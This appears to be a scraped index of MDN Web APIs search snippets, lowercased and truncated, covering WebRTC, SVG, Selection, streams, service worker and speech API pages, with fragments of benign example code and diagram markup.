this at least prevents the user from getting spontaneously asked this question on web pages thaty've only glanced at once may rarely if ever look at again.
RTCAnswerOptions - Web APIs
however, this is likely to change in the future, so the type has been defined in preparation for that eventuality.
RTCDTMFSender.insertDTMF() - Web APIs
sending of the tones is performed asynchronously, with tonechange events sent to the rtcdtmfsender every time a tone starts or ends.
RTCDataChannel.readyState - Web APIs
this is the default state of a new rtcdatachannel created by the webrtc layer when the remote peer created the channel and delivered to the site or app in a datachannel event of type rtcdatachannelevent.
RTCDtlsTransport - Web APIs
n meet"><a xlink:href="/docs/web/api/rtcdtlstransport" target="_top"><rect x="1" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">rtcdtlstransport</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} propertiesicetransport read only the read-only rtcdtlstransport property icetransport contains a reference to the underlying rtcicetransport.state read only the state read-only property of the rtcdtlstransport interface provides information which describes a datagram transport layer security (dtls) transport state.methodsthis interface has no methods.
RTCIceCandidate.address - Web APIs
doing so prevents the remote user's address from being exposed, but reduces the pool of available candidates to choose from.
RTCIceCandidateInit.candidate - Web APIs
this is done in the event handler for the icecandidate event.
RTCIceCandidateStats.url - Web APIs
this is the same url that would be received in the icecandidate event's url property.
RTCIceCandidateStats - Web APIs
this url matches the one included in the rtcpeerconnectioniceevent object representing the icecandidate event that delivered the candidate to the local peer.
RTCIceTransport.getLocalCandidates() - Web APIs
the local candidates are placed in this list by the ice agent prior to being delivered to the local client's code in an icecandidate event so that the client can forward the candidates to the remote peer.
RTCOfferOptions.iceRestart - Web APIs
fundamentally, this renegotiation is triggered by generating and using new values for the ice username fragment ("ufrag")}} example this example shows a handler for the iceconnectionstatechange event.
RTCPeerConnection.addTransceiver() - Web APIs
streams optional a list of mediastream objects to add to the transceiver'srtcrtpreceiver; when the remote peer's rtcpeerconnection's track event occurs, these are the streams that will be specified by that event.
RTCPeerConnection.canTrickleIceCandidates - Web APIs
pc.setremotedescription(remoteoffer) .then(_ => pc.createanswer()) .then(answer => pc.setlocaldescription(answer)) .then(_ => if (pc.cantrickleicecandidates) { return pc.localdescription; } return new promise(r => { pc.addeventlistener('icegatheringstatechange', e => { if (e.target.icegatheringstate === 'complete') { r(pc.localdescription); } }); }); }) .then(answer => sendanswertopeer(answer)) // signaling message .catch(e => handleerror(e)); pc.addeventlistener('icecandidate', e => { if (pc.cantrickleicecandidates) { sendcandidatetopeer(e.candidate); // signaling messag...
RTCPeerConnection.close() - Web APIs
example var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("my channel"); dc.onmessage = function (event) { console.log("received: " + event.data); pc.close(); // we decided to close after the first received message }; dc.onopen = function () { console.log("datachannel open"); }; dc.onclose = function () { console.log("datachannel close"); }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcp...
RTCPeerConnection.connectionState - Web APIs
when this property's value changes, a connectionstatechange event is sent to the rtcpeerconnection instance.
RTCPeerConnection.createOffer() - Web APIs
example here we see a handler for the negotiationneeded event which creates the offer and sends it to the remote system over a signaling channel.
RTCPeerConnection.currentLocalDescription - Web APIs
to change the currentlocaldescription, call rtcpeerconnection.setlocaldescription(), which triggers a series of events which leads to this value being set.
RTCPeerConnection.currentRemoteDescription - Web APIs
to change the currentremotedescription, call rtcpeerconnection.setremotedescription(), which triggers a series of events which leads to this value being set.
RTCPeerConnection.iceConnectionState - Web APIs
you can detect when this value has changed by watching for the iceconnectionstatechange event.
RTCPeerConnection.sctp - Web APIs
example var pc = new rtcpeerconnection(); var channel = pc.createdatachannel("mydata"); channel.onopen = function(event) { channel.send('sending a message'); } channel.onmessage = function(event) { console.log(event.data); } // determine the largest message size that can be sent var sctp = pc.sctp; var maxmessagesize = sctp.maxmessagesize; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.sctp' i...
RTCPeerConnection.setConfiguration() - Web APIs
this prevents successful login to the server.
RTCPeerConnection.signalingState - Web APIs
in addition, when the value of this property changes, a signalingstatechange event is sent to the rtcpeerconnection instance.
RTCRtpSender.setStreams() - Web APIs
once the track has been added to all of the streams, renegotiation of the connection will be triggered by the negotiationneeded event being dispatched to the rtcpeerconnection to which the sender belongs.
RTCRtpSender - Web APIs
properties rtcrtpsender.dtmf read only an rtcdtmfsender which can be used to send dtmf tones using telephone-event payloads on the rtp session represented by the rtcrtpsender object.
RTCRtpTransceiver.direction - Web APIs
if the new value of direction is in fact different from the existing value, renegotiation of the connection is required, so a negotiationneeded event is sent to the rtcpeerconnection.
RTCRtpTransceiver.setCodecPreferences() - Web APIs
this lets you prevent the use of codecs you don't wish to use.
RTCRtpTransceiverInit - Web APIs
streams optional a list of mediastream objects to add to the transceiver'srtcrtpreceiver; when the remote peer's rtcpeerconnection's track event occurs, these are the streams that will be specified by that event.
RadioNodeList - Web APIs
"#d4dde4"/><a xlink:href="/docs/web/api/radionodelist" target="_top"><rect x="121" y="1" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="186" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">radionodelist</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties the radionodelist interface inherits the properties of nodelist.
Range.selectNodeContents() - Web APIs
"><b>use the buttons below</b> to select or deselect the contents of this paragraph.</p> <button id="select-button">select paragraph</button> <button id="deselect-button">deselect paragraph</button> javascript const p = document.getelementbyid('p'); const selectbutton = document.getelementbyid('select-button'); const deselectbutton = document.getelementbyid('deselect-button'); selectbutton.addeventlistener('click', e => { // clear any current selection const selection = window.getselection(); selection.removeallranges(); // select paragraph const range = document.createrange(); range.selectnodecontents(p); selection.addrange(range); }); deselectbutton.addeventlistener('click', e => { const selection = window.getselection(); selection.removeallranges(); }); result spe...
ReadableStream.ReadableStream() - Web APIs
const stream = new readablestream({ start(controller) { interval = setinterval(() => { let string = randomchars(); // add the string to the stream controller.enqueue(string); // show it on the screen let listitem = document.createelement('li'); listitem.textcontent = string; list1.appendchild(listitem); }, 1000); button.addeventlistener('click', function() { clearinterval(interval); fetchstream(); controller.close(); }) }, pull(controller) { // we don't really need a pull in this example }, cancel() { // this is called if the reader cancels, // so we should stop generating strings clearinterval(interval); } }); specifications specification status comment ...
ReadableStream.tee() - Web APIs
teeing a stream will generally lock it for the duration, preventing other readers from locking it.
ReadableStreamDefaultController.close() - Web APIs
const stream = new readablestream({ start(controller) { interval = setinterval(() => { let string = randomchars(); // add the string to the stream controller.enqueue(string); // show it on the screen let listitem = document.createelement('li'); listitem.textcontent = string; list1.appendchild(listitem); }, 1000); button.addeventlistener('click', function() { clearinterval(interval); fetchstream(); controller.close(); }) }, pull(controller) { // we don't really need a pull in this example }, cancel() { // this is called if the reader cancels, // so we should stop generating strings clearinterval(interval); } }); specifications specification status comment ...
ReadableStreamDefaultController.enqueue() - Web APIs
const stream = new readablestream({ start(controller) { interval = setinterval(() => { let string = randomchars(); // add the string to the stream controller.enqueue(string); // show it on the screen let listitem = document.createelement('li'); listitem.textcontent = string; list1.appendchild(listitem); }, 1000); button.addeventlistener('click', function() { clearinterval(interval); fetchstream(); controller.close(); }) }, pull(controller) { // we don't really need a pull in this example }, cancel() { // this is called if the reader cancels, // so we should stop generating strings clearinterval(interval); } }); specifications specification status comment ...
ReadableStreamDefaultController - Web APIs
const stream = new readablestream({ start(controller) { interval = setinterval(() => { let string = randomchars(); // add the string to the stream controller.enqueue(string); // show it on the screen let listitem = document.createelement('li'); listitem.textcontent = string; list1.appendchild(listitem); }, 1000); button.addeventlistener('click', function() { clearinterval(interval); fetchstream(); controller.close(); }) }, pull(controller) { // we don't really need a pull in this example }, cancel() { // this is called if the reader cancels, // so we should stop generating strings clearinterval(interval); } }); specifications specification status comment ...
Reporting API - Web APIs
d inside the constructor: observer.observe(); later on in the example we deliberately use the deprecated version of mediadevices.getusermedia(): if(navigator.mozgetusermedia) { navigator.mozgetusermedia( constraints, success, failure); } else { navigator.getusermedia( constraints, success, failure); } this causes a deprecation report to be generated; because of the event handler we set up inside the reportingobserver() constructor, we can now click the button to display the report details.
Request - Web APIs
WebAPIRequest
you can create a new request object using the request() constructor, but you are more likely to encounter a request object being returned as the result of another api operation, such as a service worker fetchevent.request.
RequestDestination - Web APIs
navigator.sendbeacon(), eventsource, <a ping>, <area ping>, fetch(), xmlhttprequest, websocket, cache and more.
ResizeObserver.disconnect() - Web APIs
examples btn.addeventlistener('click', () => { resizeobserver.disconnect(); }) specifications specification status comment resize observerthe definition of 'disconnect()' in that specification.
ResizeObserver.unobserve() - Web APIs
.style.fontsize = math.max(1.5, entry.contentboxsize.inlinesize/200) + 'rem'; pelem.style.fontsize = math.max(1, entry.contentboxsize.inlinesize/600) + 'rem'; } else { h1elem.style.fontsize = math.max(1.5, entry.contentrect.width/200) + 'rem'; pelem.style.fontsize = math.max(1, entry.contentrect.width/600) + 'rem'; } } }); resizeobserver.observe(divelem); checkbox.addeventlistener('change', () => { if(checkbox.checked) { resizeobserver.observe(divelem); } else { resizeobserver.unobserve(divelem); } }); specifications specification status comment resize observerthe definition of 'unobserve()' in that specification.
Response.redirected - Web APIs
relying on redirected to filter out redirects makes it easy for a forged redirect to prevent your content from working as expected.
Response - Web APIs
WebAPIResponse
you can create a new response object using the response.response() constructor, but you are more likely to encounter a response object being returned as the result of another api operation—for example, a service worker fetchevent.respondwith, or a simple windoworworkerglobalscope.fetch().
SVGAltGlyphDefElement - Web APIs
xlink:href="/docs/web/api/svgaltglyphdefelement" target="_top"><rect x="1" y="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="106" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgaltglyphdefelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} warning: this interface was removed in the svg 2 specification.
SVGAltGlyphItemElement - Web APIs
ink:href="/docs/web/api/svgaltglyphitemelement" target="_top"><rect x="1" y="1" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="111" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgaltglyphitemelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} warning: this interface was removed in the svg 2 specification.
SVGAnimateColorElement - Web APIs
ink:href="/docs/web/api/svganimatecolorelement" target="_top"><rect x="1" y="1" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="111" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svganimatecolorelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its parent, svganimationelement.
SVGExternalResourcesRequired - Web APIs
ocs/web/api/svgexternalresourcesrequired" target="_top"><rect x="1" y="1" width="280" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="141" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgexternalresourcesrequired</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} warning: this interface was removed in the svg 2 specification.
SVGFilterPrimitiveStandardAttributes - Web APIs
ilterprimitivestandardattributes" target="_top"><rect x="1" y="1" width="360" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="181" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfilterprimitivestandardattributes</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties svgfilterprimitivestandardattributes.x read only an svganimatedlength corresponding to the x attribute of the given element.
SVGFontElement - Web APIs
nymin meet"><a xlink:href="/docs/web/api/svgfontelement" target="_top"><rect x="1" y="1" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="71" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfontelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its parent, svgelement and implements properties from svgexternalresourcesrequired and svgstylable.
SVGFontFaceElement - Web APIs
et"><a xlink:href="/docs/web/api/svgfontfaceelement" target="_top"><rect x="1" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="91" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfontfaceelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its parent, svgelement.
SVGFontFaceFormatElement - Web APIs
href="/docs/web/api/svgfontfaceformatelement" target="_top"><rect x="1" y="1" width="240" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="121" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfontfaceformatelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its parent, svgelement.
SVGFontFaceNameElement - Web APIs
ink:href="/docs/web/api/svgfontfacenameelement" target="_top"><rect x="1" y="1" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="111" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfontfacenameelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its parent, svgelement.
SVGFontFaceSrcElement - Web APIs
xlink:href="/docs/web/api/svgfontfacesrcelement" target="_top"><rect x="1" y="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="106" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfontfacesrcelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its parent, svgelement.
SVGFontFaceUriElement - Web APIs
xlink:href="/docs/web/api/svgfontfaceurielement" target="_top"><rect x="1" y="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="106" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfontfaceurielement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its parent, svgelement.
SVGGeometryElement.isPointInFill() - Web APIs
normal hit testing rules apply; the value of the pointer-events property on the element determines whether a point is considered to be within the fill.
SVGGeometryElement.isPointInStroke() - Web APIs
normal hit testing rules apply; the value of the pointer-events property on the element determines whether a point is considered to be within the stroke.
SVGGlyphElement - Web APIs
min meet"><a xlink:href="/docs/web/api/svgglyphelement" target="_top"><rect x="1" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="76" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgglyphelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} warning: this interface was removed in the svg 2 specification.
SVGGlyphRefElement - Web APIs
et"><a xlink:href="/docs/web/api/svgglyphrefelement" target="_top"><rect x="1" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="91" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgglyphrefelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svgelement and implements properties from svgurireference and svgstylable.
SVGHKernElement - Web APIs
min meet"><a xlink:href="/docs/web/api/svghkernelement" target="_top"><rect x="1" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="76" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svghkernelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its parent, svgelement.
SVGMeshElement - Web APIs
nymin meet"><a xlink:href="/docs/web/api/svgmeshelement" target="_top"><rect x="1" y="1" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="71" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgmeshelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent interface, svggeometryelement, and implements the properties of svgurireference.
SVGMissingGlyphElement - Web APIs
ink:href="/docs/web/api/svgmissingglyphelement" target="_top"><rect x="1" y="1" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="111" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgmissingglyphelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its parent, svgelement and implements properties from svgstylable.
SVGRect - Web APIs
WebAPISVGRect
ectratio="xminymin meet"><a xlink:href="/docs/web/api/svgrect" target="_top"><rect x="1" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgrect</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties svgrect.x the exact effect of this coordinate depends on each element.
SVGRenderingIntent - Web APIs
et"><a xlink:href="/docs/web/api/svgrenderingintent" target="_top"><rect x="1" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="91" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgrenderingintent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} warning: this interface was removed in the svg 2 specification.
SVGSolidcolorElement - Web APIs
a xlink:href="/docs/web/api/svgsolidcolorelement" target="_top"><rect x="1" y="1" width="200" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="101" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgsolidcolorelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent interface, svgelement.
SVGTRefElement - Web APIs
nymin meet"><a xlink:href="/docs/web/api/svgtrefelement" target="_top"><rect x="1" y="1" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="71" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgtrefelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its parent, svgtextpositioningelement and implements properties from svgurireference.
SVGURIReference - Web APIs
min meet"><a xlink:href="/docs/web/api/svgurireference" target="_top"><rect x="1" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="76" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgurireference</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties svgurireference.href read only an svganimatedstring that represents the value of the href attribute, and, on elements that are defined to support it, the deprecated xlink:href attribute.
SVGUnitTypes - Web APIs
"xminymin meet"><a xlink:href="/docs/web/api/svgunittypes" target="_top"><rect x="1" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="61" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgunittypes</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants name value description svg_unit_type_unknown 0 the type is not one of predefined types.
SVGVKernElement - Web APIs
min meet"><a xlink:href="/docs/web/api/svgvkernelement" target="_top"><rect x="1" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="76" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgvkernelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its parent, svgelement.
SVGZoomAndPan - Web APIs
minymin meet"><a xlink:href="/docs/web/api/svgzoomandpan" target="_top"><rect x="1" y="1" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="66" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgzoomandpan</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants name value description svg_zoomandpan_unknown 0 the type is not one of predefined types.
Screen.availHeight - Web APIs
it doesn't even need to wait for any particular event (or any event at all).
Screen.onorientationchange - Web APIs
an event handler for the orientationchange events sent to the screen object.
ScreenOrientation - Web APIs
event handlers screenorientation.onchange the eventhandler called whenever the screen changes orientation.
ScrollToOptions.behavior - Web APIs
when the form is submitted, an event handler is run that puts the entered values into a scrolltooptions dictionary, and then invokes the window.scrollto() method, passing the dictionary as a parameter: form.addeventlistener('submit', (e) => { e.preventdefault(); var scrolloptions = { left: leftinput.value, top: topinput.value, behavior: scrollinput.checked ?
ScrollToOptions.left - Web APIs
when the form is submitted, an event handler is run that puts the entered values into a scrolltooptions dictionary, and then invokes the window.scrollto() method, passing the dictionary as a parameter: form.addeventlistener('submit', (e) => { e.preventdefault(); var scrolloptions = { left: leftinput.value, top: topinput.value, behavior: scrollinput.checked ?
ScrollToOptions.top - Web APIs
when the form is submitted, an event handler is run that puts the entered values into a scrolltooptions dictionary, and then invokes the window.scrollto() method, passing the dictionary as a parameter: form.addeventlistener('submit', (e) => { e.preventdefault(); var scrolloptions = { left: leftinput.value, top: topinput.value, behavior: scrollinput.checked ?
ScrollToOptions - Web APIs
when the form is submitted, an event handler is run that puts the entered values into a scrolltooptions dictionary, and then invokes the window.scrollto() method, passing the dictionary as a parameter: form.addeventlistener('submit', (e) => { e.preventdefault(); var scrolloptions = { left: leftinput.value, top: topinput.value, behavior: scrollinput.checked ?
Selection.addRange() - Web APIs
html <p>i <strong>insist</strong> that you <strong>try</strong> selecting the <strong>strong words</strong>.</p> <button>select strong words</button> javascript let button = document.queryselector('button'); button.addeventlistener('click', function () { let selection = window.getselection(); let strongs = document.getelementsbytagname('strong'); if (selection.rangecount > 0) { selection.removeallranges(); } for (let i = 0; i < strongs.length; i++) { let range = document.createrange(); range.selectnode(strongs[i]); selection.addrange(range); } }); result specifications spe...
Selection.deleteFromDocument() - Web APIs
once you do, you can remove the selected content by clicking the button below.</p> <button>delete selected text</button> javascript let button = document.queryselector('button'); button.addeventlistener('click', deleteselection); function deleteselection() { let selection = window.getselection(); selection.deletefromdocument(); } result specifications specification status comment selection apithe definition of 'selection.deletefromdocument()' in that specification.
Selection.modify() - Web APIs
WebAPISelectionmodify
="lineboundary">line boundary</option> <option value="sentenceboundary">sentence boundary</option> <option value="paragraphboundary">paragraph boundary</option> <option value="documentboundary">document boundary</option> </select> <br><br> <button>extend selection</button> javascript let select = document.queryselector('select'); let button = document.queryselector('button'); button.addeventlistener('click', modify); function modify() { let selection = window.getselection(); selection.modify('extend', 'forward', select.value); } result specifications this method is not part of any specification.
Selection.selectAllChildren() - Web APIs
example html <main> <button>select footer</button> <p>welcome to my website.</p> <p>i hope you enjoy your visit.</p> </main> <footer> <address>webmaster@example.com</address> <p>© 2019</p> </footer> javascript const button = document.queryselector('button'); const footer = document.queryselector('footer'); button.addeventlistener('click', (e) => { window.getselection().selectallchildren(footer); }); result specifications specification status comment selection apithe definition of 'selection.selectallchildren()' in that specification.
Selection.type - Web APIs
WebAPISelectiontype
example in this example, the event handler will fire each time a new selection is made.
ServiceWorkerContainer.ready - Web APIs
}); value a promise that will never reject, and which may eventually resolve with a serviceworkerregistration.
ServiceWorkerContainer - Web APIs
events controllerchange occurs when the document's associated serviceworkerregistration acquires a new active worker.
ServiceWorkerRegistration.onupdatefound - Web APIs
the onupdatefound property of the serviceworkerregistration interface is an eventlistener property called whenever an event of type statechange is fired; it is fired any time the serviceworkerregistration.installing property acquires a new service worker.
ServiceWorkerRegistration.pushManager - Web APIs
examples this.onpush = function(event) { console.log(event.data); // from here we can write the data to indexeddb, send it to any open // windows, display a notification, etc.
ServiceWorkerRegistration.update() - Web APIs
example the following simple example registers a service worker example then adds an event handler to a button so you can explicitly update the service worker whenever desired: if ('serviceworker' in navigator) { navigator.serviceworker.register('/sw-test/sw.js', {scope: 'sw-test'}).then(function(registration) { // registration worked console.log('registration succeeded.'); button.onclick = function() { registration.update(); } }).catch(function(error) { ...
SharedWorkerGlobalScope.close() - Web APIs
the close() method of the sharedworkerglobalscope interface discards any tasks queued in the sharedworkerglobalscope's event loop, effectively closing this particular scope.
SourceBuffer.changeType() - Web APIs
usage notes if the parent mediasource is in its "ended" readystate, calling changetype() will transition the media source to the "open" readystate and fire a simple event named sourceopen at the parent media source.
SpeechRecognition.onaudioend - Web APIs
the onaudioend property of the speechrecognition interface represents an event handler that will run when the user agent has finished capturing audio (when the audioend event fires.) syntax myspeechrecognition.onaudioend = function() { ...
SpeechRecognition.onaudiostart - Web APIs
the onaudiostart property of the speechrecognition interface represents an event handler that will run when the user agent has started to capture audio (when the audiostart event fires.) syntax myspeechrecognition.onaudiostart = function() { ...
SpeechRecognition.onend - Web APIs
the onend property of the speechrecognition interface represents an event handler that will run when the speech recognition service has disconnected (when the end event fires.) syntax myspeechrecognition.onend = function() { ...
SpeechRecognition.onnomatch - Web APIs
the onnomatch property of the speechrecognition interface represents an event handler that will run when the speech recognition service returns a final result with no significant recognition (when the nomatch event fires.) this may involve some degree of recognition, which doesn't meet or exceed the confidence threshold.
SpeechRecognition.onsoundend - Web APIs
the onsoundend property of the speechrecognition interface represents an event handler that will run when any sound — recognisable speech or not — has stopped being detected (when the soundend event fires.) syntax myspeechrecognition.onsoundend = function() { ...
SpeechRecognition.onsoundstart - Web APIs
the onsoundstart property of the speechrecognition interface represents an event handler that will run when any sound — recognisable speech or not — has been detected (when the soundstart event fires.) syntax myspeechrecognition.onsoundstart = function() { ...
SpeechRecognition.onspeechend - Web APIs
the onspeechend property of the speechrecognition interface represents an event handler that will run when speech recognised by the speech recognition service has stopped being detected (when the speechend event fires.) syntax myspeechrecognition.onspeechend = function() { ...
SpeechRecognition.onspeechstart - Web APIs
the onspeechstart property of the speechrecognition interface represents an event handler that will run when sound recognised by the speech recognition service as speech has been detected (when the speechstart event fires.) syntax myspeechrecognition.onspeechstart = function() { ...
SpeechRecognition.onstart - Web APIs
the onstart property of the speechrecognition interface represents an event handler that will run when the speech recognition service has begun listening to incoming audio with intent to recognize grammars associated with the current speechrecognition (when the start event fires.) syntax myspeechrecognition.onstart = function() { ...
SpeechSynthesis.speak() - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); inputtxt.blur(); } specifications specification statu...
SpeechSynthesisUtterance.SpeechSynthesisUtterance() - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); inputtxt.blur(); } specifications specification statu...
SpeechSynthesisUtterance.lang - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.lang = 'en-us'; synth.speak(utterthis); inputtxt.blur(); } specifications ...
SpeechSynthesisUtterance.pitch - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.pitch = 1.5; synth.speak(utterthis); inputtxt.blur(); } specifications ...
SpeechSynthesisUtterance.rate - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.rate = 1.5; synth.speak(utterthis); inputtxt.blur(); } specifications ...
SpeechSynthesisUtterance.text - Web APIs
